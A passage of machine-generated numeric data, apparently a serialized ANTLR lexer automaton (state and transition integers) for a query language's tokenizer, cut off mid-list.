1, 0, 0, 0, 38, 626, 1, 0, 0, 0, 40, 632, 1, 0, 0, 0, 42, 641, 1, 0, 0, 0, 44, 648, 1, 0, 0, 0, 46, 656, 1, 0, 0, 0, 48, 664, 1, 0, 0, 0, 50, 679, 1, 0, 0, 0, 52, 689, 1, 0, 0, 0, 54, 696, 1, 0, 0, 0, 56, 702, 1, 0, 0, 0, 58, 709, 1, 0, 0, 0, 60, 718, 1, 0, 0, 0, 62, 726, 1, 0, 0, 0, 64, 734, 1, 0, 0, 0, 66, 743, 1, 0, 0, 0, 68, 755, 1, 0, 0, 0, 70, 767, 1, 0, 0, 0, 72, 774, 1, 0, 0, 0, 74, 781, 1, 0, 0, 0, 76, 793, 1, 0, 0, 0, 78, 800, 1, 0, 0, 0, 80, 809, 1, 0, 0, 0, 82, 817, 1, 0, 0, 0, 84, 823, 1, 0, 0, 0, 86, 828, 1, 0, 0, 0, 88, 834, 1, 0, 0, 0, 90, 838, 1, 0, 0, 0, 92, 842, 1, 0, 0, 0, 94, 846, 1, 0, 0, 0, 96, 850, 1, 0, 0, 0, 98, 854, 1, 0, 0, 0, 100, 858, 1, 0, 0, 0, 102, 862, 1, 0, 0, 0, 104, 866, 1, 0, 0, 0, 106, 870, 1, 0, 0, 0, 108, 875, 1, 0, 0, 0, 110, 881, 1, 0, 0, 0, 112, 886, 1, 0, 0, 0, 114, 891, 1, 0, 0, 0, 116, 896, 1, 0, 0, 0, 118, 905, 1, 0, 0, 0, 120, 912, 1, 0, 0, 0, 122, 916, 1, 0, 0, 0, 124, 920, 1, 0, 0, 0, 126, 924, 1, 0, 0, 0, 128, 928, 1, 0, 0, 0, 130, 934, 1, 0, 0, 0, 132, 941, 1, 0, 0, 0, 134, 945, 1, 0, 0, 0, 136, 949, 1, 0, 0, 0, 138, 953, 1, 0, 0, 0, 140, 957, 1, 0, 0, 0, 142, 961, 1, 0, 0, 0, 144, 965, 1, 0, 0, 0, 146, 969, 1, 0, 0, 0, 148, 973, 1, 0, 0, 0, 150, 977, 1, 0, 0, 0, 152, 981, 1, 0, 0, 0, 154, 985, 1, 0, 0, 0, 156, 989, 1, 0, 0, 0, 158, 993, 1, 0, 0, 0, 160, 998, 1, 0, 0, 0, 162, 1007, 1, 0, 0, 0, 164, 1011, 1, 0, 0, 0, 166, 1015, 1, 0, 0, 0, 168, 1019, 1, 0, 0, 0, 170, 1023, 1, 0, 0, 0, 172, 1028, 1, 0, 0, 0, 174, 1033, 1, 0, 0, 0, 176, 1037, 1, 0, 0, 0, 178, 1041, 1, 0, 0, 0, 180, 1045, 1, 0, 0, 0, 182, 1049, 1, 0, 0, 0, 184, 1051, 1, 0, 0, 0, 186, 1053, 1, 0, 0, 0, 188, 1056, 1, 0, 0, 0, 190, 1058, 1, 0, 0, 0, 192, 1067, 1, 0, 0, 0, 194, 1069, 1, 0, 0, 0, 196, 1074, 1, 0, 0, 0, 198, 1076, 1, 0, 0, 0, 200, 1081, 1, 0, 0, 0, 202, 1112, 1, 0, 0, 0, 204, 1115, 1, 0, 0, 0, 206, 1161, 1, 0, 0, 0, 208, 1163, 1, 0, 0, 0, 210, 1167, 1, 0, 0, 0, 212, 1171, 1, 0, 0, 0, 214, 1173, 1, 0, 0, 0, 216, 1176, 1, 0, 0, 0, 218, 1179, 1, 0, 0, 0, 220, 1181, 1, 0, 0, 0, 222, 1183, 1, 0, 0, 0, 224, 1188, 1, 0, 0, 0, 226, 1190, 1, 0, 0, 0, 228, 1196, 1, 0, 0, 0, 230, 1202, 1, 0, 0, 0, 232, 1205, 1, 0, 0, 0, 234, 1208, 1, 0, 0, 0, 236, 1213, 1, 0, 0, 0, 238, 1218, 1, 0, 0, 0, 240, 1222, 1, 0, 0, 0, 242, 1227, 1, 0, 0, 0, 244, 1233, 1, 0, 0, 0, 246, 1236, 1, 0, 0, 0, 248, 1239, 1, 0, 0, 0, 250, 1241, 1, 0, 0, 0, 252, 1247, 1, 0, 0, 0, 254, 1252, 1, 0, 0, 0, 256, 1257, 1, 0, 0, 0, 258, 1260, 1, 0, 0, 0, 260, 1263, 1, 0, 0, 0, 262, 1266, 1, 0, 0, 0, 264, 1268, 1, 0, 0, 0, 266, 1271, 1, 0, 0, 0, 268, 1273, 1, 0, 0, 0, 270, 1276, 1, 0, 0, 0, 272, 1278, 1, 0, 0, 0, 274, 1280, 1, 0, 0, 0, 276, 1282, 1, 0, 0, 0, 278, 1284, 1, 0, 0, 0, 280, 1286, 1, 0, 0, 0, 282, 1288, 1, 0, 0, 0, 284, 1290, 1, 0, 0, 0, 286, 1293, 1, 0, 0, 0, 288, 1314, 1, 0, 0, 0, 290, 1333, 1, 0, 0, 0, 292, 1335, 1, 0, 0, 0, 294, 1340, 1, 0, 0, 0, 296, 1345, 1, 0, 0, 0, 298, 1350, 1, 0, 0, 0, 300, 1371, 1, 0, 0, 0, 302, 1373, 1, 0, 0, 0, 304, 1381, 1, 0, 0, 0, 306, 1383, 1, 0, 0, 0, 308, 1387, 1, 0, 0, 0, 310, 1391, 1, 0, 0, 0, 312, 1395, 1, 0, 0, 0, 314, 1400, 1, 0, 0, 0, 316, 1404, 1, 0, 0, 0, 318, 1408, 1, 0, 0, 0, 320, 1412, 1, 0, 0, 0, 322, 1416, 1, 0, 0, 0, 324, 1420, 1, 0, 0, 0, 326, 1424, 1, 0, 0, 0, 328, 1436, 1, 0, 0, 0, 330, 1439, 1, 0, 0, 0, 332, 1443, 1, 0, 0, 0, 334, 1447, 1, 0, 0, 0, 336, 1451, 1, 0, 0, 0, 338, 1455, 1, 0, 0, 0, 340, 1459, 1, 0, 0, 0, 342, 1463, 1, 0, 0, 0, 344, 1468, 1, 0, 0, 0, 346, 1474, 1, 0, 0, 0, 348, 1479, 1, 0, 0, 0, 350, 1483, 1, 0, 0, 0, 352, 1487, 1, 0, 0, 0, 354, 1491, 1, 0, 0, 0, 356, 1496, 1, 0, 0, 0, 358, 1501, 1, 0, 0, 0, 360, 1505, 1, 0, 0, 0, 362, 1511, 1, 0, 0, 0, 364, 1520, 1, 0, 0, 0, 366, 1524, 1, 0, 0, 0, 368, 1528, 1, 0, 0, 0, 370, 1532, 1, 0, 0, 0, 372, 1536, 1, 0, 0, 0, 374, 1540, 1, 0, 0, 0, 376, 1544, 1, 0, 0, 0, 378, 1548, 1, 0, 0, 0, 380, 1552, 1, 0, 0, 0, 382, 1557, 1, 0, 0, 0, 384, 1563, 1, 0, 0, 0, 386, 1567, 1, 0, 0, 0, 388, 1571, 1, 0, 0, 0, 390, 1575, 1, 0, 0, 0, 392, 1580, 1, 0, 0, 0, 394, 1584, 1, 0, 0, 0, 396, 1588, 1, 0, 0, 0, 398, 1592, 1, 0, 0, 0, 400, 1596, 1, 0, 0, 0, 402, 1600, 1, 0, 0, 0, 404, 1606, 1, 0, 0, 0, 406, 1613, 1, 0, 0, 0, 408, 1617, 1, 0, 0, 0, 410, 1621, 1, 0, 0, 0, 412, 1625, 1, 0, 0, 0, 414, 1629, 1, 0, 0, 0, 416, 1633, 1, 0, 0, 0, 418, 1637, 1, 0, 0, 0, 420, 1642, 1, 0, 0, 0, 422, 1648, 1, 0, 0, 0, 424, 1652, 1, 0, 0, 0, 426, 1656, 1, 0, 0, 0, 428, 1660, 1, 0, 0, 0, 430, 1664, 1, 0, 0, 0, 432, 1668, 1, 0, 0, 0, 434, 1672, 1, 0, 0, 0, 436, 1676, 1, 0, 0, 0, 438, 1680, 1, 0, 0, 0, 440, 1684, 1, 0, 0, 0, 442, 1688, 1, 0, 0, 0, 444, 1693, 1, 0, 0, 0, 446, 1699, 1, 0, 0, 0, 448, 1703, 1, 0, 0, 0, 450, 1707, 1, 0, 0, 0, 452, 1711, 1, 0, 0, 0, 454, 1715, 1, 0, 0, 0, 456, 1719, 1, 0, 0, 0, 458, 1727, 1, 0, 0, 0, 460, 1748, 1, 0, 0, 0, 462, 1752, 1, 0, 0, 0, 464, 1756, 1, 0, 0, 0, 466, 1760, 1, 0, 0, 0, 468, 1764, 1, 0, 0, 0, 470, 1768, 1, 0, 0, 0, 472, 1773, 1, 0, 0, 0, 474, 1779, 1, 0, 0, 0, 476, 1783, 1, 0, 0, 0, 478, 1787, 1, 0, 0, 0, 480, 1791, 1, 0, 0, 0, 482, 1795, 1, 0, 0, 0, 484, 1799, 1, 0, 0, 0, 486, 1803, 1, 0, 0, 0, 488, 1807, 1, 0, 0, 0, 490, 1810, 1, 0, 0, 0, 492, 1814, 1, 0, 0, 0, 494, 1818, 1, 0, 0, 0, 496, 1822, 1, 0, 0, 0, 498, 1826, 1, 0, 0, 0, 500, 1831, 1, 0, 0, 0, 502, 1836, 1, 0, 0, 0, 504, 1840, 1, 0, 0, 0, 506, 1844, 1, 0, 0, 0, 508, 509, 5, 47, 0, 0, 509, 510, 5, 47, 0, 0, 510, 514, 1, 0, 0, 0, 511, 513, 8, 0, 0, 0, 512, 511, 1, 0, 0, 0, 513, 516, 1, 0, 0, 0, 514, 512, 1, 0, 0, 0, 514, 515, 1, 0, 0, 0, 515, 518, 1, 0, 0, 0, 516, 514, 1, 0, 0, 0, 517, 519, 5, 13, 0, 0, 518, 517, 1, 0, 0, 0, 518, 519, 1, 0, 0, 0, 519, 521, 1, 0, 0, 0, 520, 522, 5, 10, 0, 0, 521, 520, 1, 0, 0, 0, 521, 522, 1, 0, 0, 0, 522, 523, 1, 0, 0, 0, 523, 524, 6, 0, 0, 0, 524, 17, 1, 0, 0, 0, 525, 526, 5, 47, 0, 0, 526, 527, 5, 42, 0, 0, 527, 532, 1, 0, 0, 0, 528, 531, 3, 18, 1, 0, 529, 531, 9, 0, 0, 0, 530, 528, 1, 0, 0, 0, 530, 529, 1, 0, 0, 0, 531, 534, 1, 0, 0, 0, 532, 533, 1, 0, 0, 0, 532, 530, 1, 0, 0, 0, 533, 535, 1, 0, 0, 0, 534, 532, 1, 0, 0, 0, 535, 536, 5, 42, 0, 0, 536, 537, 5, 47, 0, 0, 537, 538, 1, 0, 0, 0, 538, 539, 6, 1, 0, 0, 539, 19, 1, 0, 0, 0, 540, 542, 7, 1, 0, 0, 541, 540, 1, 0, 0, 0, 542, 543, 1, 0, 0, 0, 543, 541, 1, 0, 0, 0, 543, 544, 1, 0, 0, 0, 544, 545, 1, 0, 0, 0, 545, 546, 6, 2, 0, 0, 546, 21, 1, 0, 0, 0, 547, 548, 7, 2, 0, 0, 548, 549, 7, 3, 0, 0, 549, 550, 7, 4, 0, 0, 550, 551, 7, 5, 0, 0, 551, 552, 7, 6, 0, 0, 552, 553, 7, 7, 0, 0, 553, 554, 5, 95, 0, 0, 554, 555, 7, 8, 0, 0, 555, 556, 7, 9, 0, 0, 556, 557, 7, 10, 0, 0, 557, 558, 7, 5, 0, 0, 558, 559, 7, 11, 0, 0, 559, 560, 1, 0, 0, 0, 560, 561, 6, 3, 1, 0, 561, 23, 1, 0, 0, 0, 562, 563, 7, 7, 0, 0, 563, 564, 7, 5, 0, 0, 564, 565, 7, 12, 0, 0, 565, 566, 7, 10, 0, 0, 566, 567, 7, 2, 0, 0, 567, 568, 7, 3, 0, 0, 568, 569, 1, 0, 0, 0, 569, 570, 6, 4, 2, 0, 570, 25, 1, 0, 0, 0, 571, 572, 7, 7, 0, 0, 572, 573, 7, 13, 0, 0, 573, 574, 7, 8, 0, 0, 574, 575, 7, 14, 0, 0, 575, 576, 7, 4, 0, 0, 576, 577, 7, 10, 0, 0, 577, 578, 7, 5, 0, 0, 578, 579, 1, 0, 0, 0, 579, 580, 6, 5, 3, 0, 580, 27, 1, 0, 0, 0, 581, 582, 7, 2, 0, 0, 582, 583, 7, 9, 0, 0, 583, 584, 7, 15, 0, 0, 584, 585, 7, 8, 0, 0, 585, 586, 7, 14, 0, 0, 586, 587, 7, 7, 0, 0, 587, 588, 7, 11, 0, 0, 588, 589, 7, 10, 0, 0, 589, 590, 7, 9, 0, 0, 590, 591, 7, 5, 0, 0, 591, 592, 1, 0, 0, 0, 592, 593, 6, 6, 4, 0, 593, 29, 1, 0, 0, 0, 594, 595, 7, 16, 0, 0, 595, 596, 7, 10, 0, 0, 596, 597, 7, 17, 0, 0, 597, 598, 7, 17, 0, 0, 598, 599, 7, 7, 0, 0, 599, 600, 7, 2, 0, 0, 600, 601, 7, 11, 0, 0, 601, 602, 1, 0, 0, 0, 602, 603, 6, 7, 4, 0, 603, 31, 1, 0, 0, 0, 604, 605, 7, 7, 0, 0, 605, 606, 7, 18, 0, 0, 606, 607, 7, 4, 0, 0, 607, 608, 7, 14, 0, 0, 608, 609, 1, 0, 0, 0, 609, 610, 6, 8, 4, 0, 610, 33, 1, 0, 0, 0, 611, 612, 7, 6, 0, 0, 612, 613, 7, 12, 0, 0, 613, 614, 7, 9, 0, 0, 614, 615, 7, 19, 0, 0, 615, 616, 1, 0, 0, 0, 616, 617, 6, 9, 4, 0, 617, 35, 1, 0, 0, 0, 618, 619, 7, 14, 0, 0, 619, 620, 7, 10, 0, 0, 620, 621, 7, 15, 0, 0, 621, 622, 7, 10, 0, 0, 622, 623, 7, 11, 0, 0, 623, 624, 1, 0, 0, 0, 624, 625, 6, 10, 4, 0, 625, 37, 1, 0, 0, 0, 626, 627, 7, 12, 0, 0, 627, 628, 7, 9, 0, 0, 628, 629, 7, 20, 0, 0, 629, 630, 1, 0, 0, 0, 630, 631, 6, 11, 4, 0, 631, 39, 1, 0, 0, 0, 632, 633, 7, 17, 0, 0, 633, 634, 7, 4, 0, 0, 634, 635, 7, 15, 0, 0, 635, 636, 7, 8, 0, 0, 636, 637, 7, 14, 0, 0, 637, 638, 7, 7, 0, 0, 638, 639, 1, 0, 0, 0, 639, 640, 6, 12, 4, 0, 640, 41, 1, 0, 0, 0, 641, 642, 7, 17, 0, 0, 642, 643, 7, 9, 0, 0, 643, 644, 7, 12, 0, 0, 644, 645, 7, 11, 0, 0, 645, 646, 1, 0, 0, 0, 646, 647, 6, 13, 4, 0, 647, 43, 1, 0, 0, 0, 648, 649, 7, 17, 0, 0, 649, 650, 7, 11, 0, 0, 650, 651, 7, 4, 0, 0, 651, 652, 7, 11, 0, 0, 652, 653, 7, 17, 0, 0, 653, 654, 1, 0, 0, 0, 654, 655, 6, 14, 4, 0, 655, 45, 1, 0, 0, 0, 656, 657, 7, 20, 0, 0, 657, 658, 7, 3, 0, 0, 658, 659, 7, 7, 0, 0, 659, 660, 7, 12, 0, 0, 660, 661, 7, 7, 0, 0, 661, 662, 1, 0, 0, 0, 662, 663, 6, 15, 4, 0, 663, 47, 1, 0, 0, 0, 664, 665, 4, 16, 0, 0, 665, 666, 7, 10, 0, 0, 666, 667, 7, 5, 0, 0, 667, 668, 7, 14, 0, 0, 668, 669, 7, 10, 0, 0, 669, 670, 7, 5, 0, 0, 670, 671, 7, 7, 0, 0, 671, 672, 7, 17, 0, 0, 672, 673, 7, 11, 0, 0, 673, 674, 7, 4, 0, 0, 674, 675, 7, 11, 0, 0, 675, 676, 7, 17, 0, 0, 676, 677, 1, 0, 0, 0, 677, 678, 6, 16, 4, 0, 678, 49, 1, 0, 0, 0, 679, 680, 4, 17, 1, 0, 680, 681, 7, 12, 0, 0, 681, 682, 7, 7, 0, 0, 682, 683, 7, 12, 0, 0, 683, 684, 7, 4, 0, 0, 684, 685, 7, 5, 0, 0, 685, 686, 7, 19, 0, 0, 686, 687, 1, 0, 0, 0, 687, 688, 6, 17, 4, 0, 688, 51, 1, 0, 0, 0, 689, 690, 7, 21, 0, 0, 690, 691, 7, 12, 0, 0, 691, 692, 7, 9, 0, 0, 692, 693, 7, 15, 0, 0, 693, 694, 1, 0, 0, 0, 694, 695, 6, 18, 5, 0, 695, 53, 1, 0, 0, 0, 696, 697, 4, 19, 2, 0, 697, 698, 7, 11, 0, 0, 698, 699, 7, 17, 0, 0, 699, 700, 1, 0, 0, 0, 700, 701, 6, 19, 5, 0, 701, 55, 1, 0, 0, 0, 702, 703, 7, 21, 0, 0, 703, 704, 7, 9, 0, 0, 704, 705, 7, 12, 0, 0, 705, 706, 7, 19, 0, 0, 706, 707, 1, 0, 0, 0, 707, 708, 6, 20, 6, 0, 708, 57, 1, 0, 0, 0, 709, 710, 7, 14, 0, 0, 710, 711, 7, 9, 0, 0, 711, 712, 7, 9, 0, 0, 712, 713, 7, 19, 0, 0, 713, 714, 7, 22, 0, 0, 714, 715, 7, 8, 0, 0, 715, 716, 1, 0, 0, 0, 716, 717, 6, 21, 7, 0, 717, 59, 1, 0, 0, 0, 718, 719, 4, 22, 3, 0, 719, 720, 7, 21, 0, 0, 720, 721, 7, 22, 0, 0, 721, 722, 7, 14, 0, 0, 722, 723, 7, 14, 0, 0, 723, 724, 1, 0, 0, 0, 724, 725, 6, 22, 7, 0, 725, 61, 1, 0, 0, 0, 726, 727, 4, 23, 4, 0, 727, 728, 7, 14, 0, 0, 728, 729, 7, 7, 0, 0, 729, 730, 7, 21, 0, 0, 730, 731, 7, 11, 0, 0, 731, 732, 1, 0, 0, 0, 732, 733, 6, 23, 7, 0, 733, 63, 1, 0, 0, 0, 734, 735, 4, 24, 5, 0, 735, 736, 7, 12, 0, 0, 736, 737, 7, 10, 0, 0, 737, 738, 7, 6, 0, 0, 738, 739, 7, 3, 0, 0, 739, 740, 7, 11, 0, 0, 740, 741, 1, 0, 0, 0, 741, 742, 6, 24, 7, 0, 742, 65, 1, 0, 0, 0, 743, 744, 4, 25, 6, 0, 744, 745, 7, 14, 0, 0, 745, 746, 7, 9, 0, 0, 746, 747, 7, 9, 0, 0, 747, 748, 7, 19, 0, 0, 748, 749, 7, 22, 0, 0, 749, 750, 7, 8, 0, 0, 750, 751, 5, 95, 0, 0, 751, 752, 5, 128020, 0, 0, 752, 753, 1, 0, 0, 0, 753, 754, 6, 25, 8, 0, 754, 67, 1, 0, 0, 0, 755, 756, 7, 15, 0, 0, 756, 757, 7, 18, 0, 0, 757, 758, 5, 95, 0, 0, 758, 759, 7, 7, 0, 0, 759, 760, 7, 13, 0, 0, 760, 761, 7, 8, 0, 0, 761, 762, 7, 4, 0, 0, 762, 763, 7, 5, 0, 0, 763, 764, 7, 16, 0, 0, 764, 765, 1, 0, 0, 0, 765, 766, 6, 26, 9, 0, 766, 69, 1, 0, 0, 0, 767, 768, 7, 16, 0, 0, 768, 769, 7, 12, 0, 0, 769, 770, 7, 9, 0, 0, 770, 771, 7, 8, 0, 0, 771, 772, 1, 0, 0, 0, 772, 773, 6, 27, 10, 0, 773, 71, 1, 0, 0, 0, 774, 775, 7, 19, 0, 0, 775, 776, 7, 7, 0, 0, 776, 777, 7, 7, 0, 0, 777, 778, 7, 8, 0, 0, 778, 779, 1, 0, 0, 0, 779, 780, 6, 28, 10, 0, 780, 73, 1, 0, 0, 0, 781, 782, 4, 29, 7, 0, 782, 783, 7, 10, 0, 0, 783, 784, 7, 5, 0, 0, 784, 785, 7, 17, 0, 0, 785, 786, 7, 10, 0, 0, 786, 787, 7, 17, 0, 0, 787, 788, 7, 11, 0, 0, 788, 789, 5, 95, 0, 0, 789, 790, 5, 128020, 0, 0, 790, 791, 1, 0, 0, 0, 791, 792, 6, 29, 10, 0, 792, 75, 1, 0, 0, 0, 793, 794, 4, 30, 8, 0, 794, 795, 7, 12, 0, 0, 795, 796, 7, 12, 0, 0, 796, 797, 7, 21, 0, 0, 797, 798, 1, 0, 0, 0, 798, 799, 6, 30, 4, 0, 799, 77, 1, 0, 0, 0, 800, 801, 7, 12, 0, 0, 801, 802, 7, 7, 0, 0, 802, 803, 7, 5, 0, 0, 803, 804, 7, 4, 0, 0, 804, 805, 7, 15, 0, 0, 805, 806, 7, 7, 0, 0, 806, 807, 1, 0, 0, 0, 807, 808, 6, 31, 11, 0, 808, 79, 1, 0, 0, 0, 809, 810, 7, 17, 0, 0, 810, 811, 7, 3, 0, 0, 811, 812, 7, 9, 0, 0, 812, 813, 7, 20, 0, 0, 813, 814, 1, 0, 0, 0, 814, 815, 6, 32, 12, 0, 815, 81, 1, 0, 0, 0, 816, 818, 8, 23, 0, 0, 817, 816, 1, 0, 0, 0, 818, 819, 1, 0, 0, 0, 819, 817, 1, 0, 0, 0, 819, 820, 1, 0, 0, 0, 820, 821, 1, 0, 0, 0, 821, 822, 6, 33, 4, 0, 822, 83, 1, 0, 0, 0, 823, 824, 3, 180, 82, 0, 824, 825, 1, 0, 0, 0, 825, 826, 6, 34, 13, 0, 826, 827, 6, 34, 14, 0, 827, 85, 1, 0, 0, 0, 828, 829, 3, 298, 141, 0, 829, 830, 1, 0, 0, 0, 830, 831, 6, 35, 15, 0, 831, 832, 6, 35, 14, 0, 832, 833, 6, 35, 14, 0, 833, 87, 1, 0, 0, 0, 834, 835, 3, 244, 114, 0, 835, 836, 1, 0, 0, 0, 836, 837, 6, 36, 16, 0, 837, 89, 1, 0, 0, 0, 838, 839, 3, 488, 236, 0, 839, 840, 1, 0, 0, 0, 840, 841, 6, 37, 17, 0, 841, 91, 1, 0, 0, 0, 842, 843, 3, 224, 104, 0, 843, 844, 1, 0, 0, 0, 844, 845, 6, 38, 18, 0, 845, 93, 1, 0, 0, 0, 846, 847, 3, 220, 102, 0, 847, 848, 1, 0, 0, 0, 848, 849, 6, 39, 19, 0, 849, 95, 1, 0, 0, 0, 850, 851, 3, 304, 144, 0, 851, 852, 1, 0, 0, 0, 852, 853, 6, 40, 20, 0, 853, 97, 1, 0, 0, 0, 854, 855, 3, 300, 142, 0, 855, 856, 1, 0, 0, 0, 856, 857, 6, 41, 21, 0, 857, 99, 1, 0, 0, 0, 858, 859, 3, 16, 0, 0, 859, 860, 1, 0, 0, 0, 860, 861, 6, 42, 0, 0, 861, 101, 1, 0, 0, 0, 862, 863, 3, 18, 1, 0, 863, 864, 1, 0, 0, 0, 864, 865, 6, 43, 0, 0, 865, 103, 1, 0, 0, 0, 866, 867, 3, 20, 2, 0, 867, 868, 1, 0, 0, 0, 868, 869, 6, 44, 0, 0, 869, 105, 1, 0, 0, 0, 870, 871, 3, 180, 82, 0, 871, 872, 1, 0, 0, 0, 872, 873, 6, 45, 13, 0, 873, 874, 6, 45, 14, 0, 874, 107, 1, 0, 0, 0, 875, 876, 3, 298, 141, 0, 876, 877, 1, 0, 0, 0, 877, 878, 6, 46, 15, 0, 878, 879, 6, 46, 14, 0, 879, 880, 6, 46, 14, 0, 880, 109, 1, 0, 0, 0, 881, 882, 3, 292, 138, 0, 882, 883, 1, 0, 0, 0, 883, 884, 6, 47, 22, 0, 884, 885, 6, 47, 23, 0, 885, 111, 1, 0, 0, 0, 886, 887, 3, 244, 114, 0, 887, 888, 1, 0, 0, 0, 888, 889, 6, 48, 16, 0, 889, 890, 6, 48, 24, 0, 890, 113, 1, 0, 0, 0, 891, 892, 3, 254, 119, 0, 892, 893, 1, 0, 0, 0, 893, 894, 6, 49, 25, 0, 894, 895, 6, 49, 24, 0, 895, 115, 1, 0, 0, 0, 896, 897, 8, 24, 0, 0, 897, 117, 1, 0, 0, 0, 898, 900, 3, 116, 50, 0, 899, 898, 1, 0, 0, 0, 900, 901, 1, 0, 0, 0, 901, 899, 1, 0, 0, 0, 901, 902, 1, 0, 0, 0, 902, 903, 1, 0, 0, 0, 903, 904, 3, 218, 101, 0, 904, 906, 1, 0, 0, 0, 905, 899, 1, 0, 0, 0, 905, 906, 1, 0, 0, 0, 906, 908, 1, 0, 0, 0, 907, 909, 3, 116, 50, 0, 908, 907, 1, 0, 0, 0, 909, 910, 1, 0, 0, 0, 910, 908, 1, 0, 0, 0, 910, 911, 1, 0, 0, 0, 911, 119, 1, 0, 0, 0, 912, 913, 3, 118, 51, 0, 913, 914, 1, 0, 0, 0, 914, 915, 6, 52, 26, 0, 915, 121, 1, 0, 0, 0, 916, 917, 3, 16, 0, 0, 917, 918, 1, 0, 0, 0, 918, 919, 6, 53, 0, 0, 919, 123, 1, 0, 0, 0, 920, 921, 3, 18, 1, 0, 921, 922, 1, 0, 0, 0, 922, 923, 6, 54, 0, 0, 923, 125, 1, 0, 0, 0, 924, 925, 3, 20, 2, 0, 925, 926, 1, 0, 0, 0, 926, 927, 6, 55, 0, 0, 927, 127, 1, 0, 0, 0, 928, 929, 3, 180, 82, 0, 929, 930, 1, 0, 0, 0, 930, 931, 6, 56, 13, 0, 931, 932, 6, 56, 14, 0, 932, 933, 6, 56, 14, 0, 933, 129, 1, 0, 0, 0, 934, 935, 3, 298, 141, 0, 935, 936, 1, 0, 0, 0, 936, 937, 6, 57, 15, 0, 937, 938, 6, 57, 14, 0, 938, 939, 6, 57, 14, 0, 939, 940, 6, 57, 14, 0, 940, 131, 1, 0, 0, 0, 941, 942, 3, 212, 98, 0, 942, 943, 1, 0, 0, 0, 943, 944, 6, 58, 27, 0, 944, 133, 1, 0, 0, 0, 945, 946, 3, 220, 102, 0, 946, 947, 1, 0, 0, 0, 947, 948, 6, 59, 19, 0, 948, 135, 1, 0, 0, 0, 949, 950, 3, 224, 104, 0, 950, 951, 1, 0, 0, 0, 951, 952, 6, 60, 18, 0, 952, 137, 1, 0, 0, 0, 953, 954, 3, 254, 119, 0, 954, 955, 1, 0, 0, 0, 955, 956, 6, 61, 25, 0, 956, 139, 1, 0, 0, 0, 957, 958, 3, 462, 223, 0, 958, 959, 1, 0, 0, 0, 959, 960, 6, 62, 28, 0, 960, 141, 1, 0, 0, 0, 961, 962, 3, 304, 144, 0, 962, 963, 1, 0, 0, 0, 963, 964, 6, 63, 20, 0, 964, 143, 1, 0, 0, 0, 965, 966, 3, 248, 116, 0, 966, 967, 1, 0, 0, 0, 967, 968, 6, 64, 29, 0, 968, 145, 1, 0, 0, 0, 969, 970, 3, 288, 136, 0, 970, 971, 1, 0, 0, 0, 971, 972, 6, 65, 30, 0, 972, 147, 1, 0, 0, 0, 973, 974, 3, 284, 134, 0, 974, 975, 1, 0, 0, 0, 975, 976, 6, 66, 31, 0, 976, 149, 1, 0, 0, 0, 977, 978, 3, 290, 137, 0, 978, 979, 1, 0, 0, 0, 979, 980, 6, 67, 32, 0, 980, 151, 1, 0, 0, 0, 981, 982, 3, 16, 0, 0, 982, 983, 1, 0, 0, 0, 983, 984, 6, 68, 0, 0, 984, 153, 1, 0, 0, 0, 985, 986, 3, 18, 1, 0, 986, 987, 1, 0, 0, 0, 987, 988, 6, 69, 0, 0, 988, 155, 1, 0, 0, 0, 989, 990, 3, 20, 2, 0, 990, 991, 1, 0, 0, 0, 991, 992, 6, 70, 0, 0, 992, 157, 1, 0, 0, 0, 993, 994, 3, 294, 139, 0, 994, 995, 1, 0, 0, 0, 995, 996, 6, 71, 33, 0, 996, 997, 6, 71, 14, 0, 997, 159, 1, 0, 0, 0, 998, 999, 3, 218, 101, 0, 999, 1000, 1, 0, 0, 0, 1000, 1001, 6, 72, 34, 0, 1001, 161, 1, 0, 0, 0, 1002, 1008, 3, 192, 88, 0, 1003, 1008, 3, 182, 83, 0, 1004, 1008, 3, 224, 104, 0, 1005, 1008, 3, 184, 84, 0, 1006, 1008, 3, 198, 91, 0, 1007, 1002, 1, 0, 0, 0, 1007, 1003, 1, 0, 0, 0, 1007, 1004, 1, 0, 0, 0, 1007, 1005, 1, 0, 0, 0, 1007, 1006, 1, 0, 0, 0, 1008, 1009, 1, 0, 0, 0, 1009, 1007, 1, 0, 0, 0, 1009, 1010, 1, 0, 0, 0, 1010, 163, 1, 0, 0, 0, 1011, 1012, 3, 16, 0, 0, 1012, 1013, 1, 0, 0, 0, 1013, 1014, 6, 74, 0, 0, 1014, 165, 1, 0, 0, 0, 1015, 1016, 3, 18, 1, 0, 1016, 1017, 1, 0, 0, 0, 1017, 1018, 6, 75, 0, 0, 1018, 167, 1, 0, 0, 0, 1019, 1020, 3, 20, 2, 0, 1020, 1021, 1, 0, 0, 0, 1021, 1022, 6, 76, 0, 0, 1022, 169, 1, 0, 0, 0, 1023, 1024, 3, 292, 138, 0, 1024, 1025, 1, 0, 0, 0, 1025, 1026, 6, 77, 22, 0, 1026, 1027, 6, 77, 35, 0, 1027, 171, 1, 0, 0, 0, 1028, 1029, 3, 180, 82, 0, 1029, 1030, 1, 0, 0, 0, 1030, 1031, 6, 78, 13, 0, 1031, 1032, 6, 78, 14, 0, 1032, 173, 1, 0, 0, 0, 1033, 1034, 3, 20, 2, 0, 1034, 1035, 1, 0, 0, 0, 1035, 1036, 6, 79, 0, 0, 1036, 175, 1, 0, 0, 0, 1037, 1038, 3, 16, 0, 0, 1038, 1039, 1, 0, 0, 0, 1039, 1040, 6, 80, 0, 0, 1040, 177, 1, 0, 0, 0, 1041, 1042, 3, 18, 1, 0, 1042, 1043, 1, 0, 0, 0, 1043, 1044, 6, 81, 0, 0, 1044, 179, 1, 0, 0, 0, 1045, 1046, 5, 124, 0, 0, 1046, 1047, 1, 0, 0, 0, 1047, 1048, 6, 82, 14, 0, 1048, 181, 1, 0, 0, 0, 1049, 1050, 7, 25, 0, 0, 1050, 183, 1, 0, 0, 0, 1051, 1052, 7, 26, 0, 0, 1052, 185, 1, 0, 0, 0, 1053, 1054, 5, 92, 0, 0, 1054, 1055, 7, 27, 0, 0, 1055, 187, 1, 0, 0, 0, 1056, 1057, 8, 28, 0, 0, 1057, 189, 1, 0, 0, 0, 1058, 1060, 7, 7, 0, 0, 1059, 1061, 7, 29, 0, 0, 1060, 1059, 1, 0, 0, 0, 1060, 1061, 1, 0, 0, 0, 1061, 1063, 1, 0, 0, 0, 1062, 1064, 3, 182, 83, 0, 1063, 1062, 1, 0, 0, 0, 1064, 1065, 1, 0, 0, 0, 1065, 1063, 1, 0, 0, 0, 1065, 1066, 1, 0, 0, 0, 1066, 191, 1, 0, 0, 0, 1067, 1068, 5, 64, 0, 0, 1068, 193, 1, 0, 0, 0, 1069, 1070, 5, 96, 0, 0, 1070, 195, 1, 0, 0, 0, 1071, 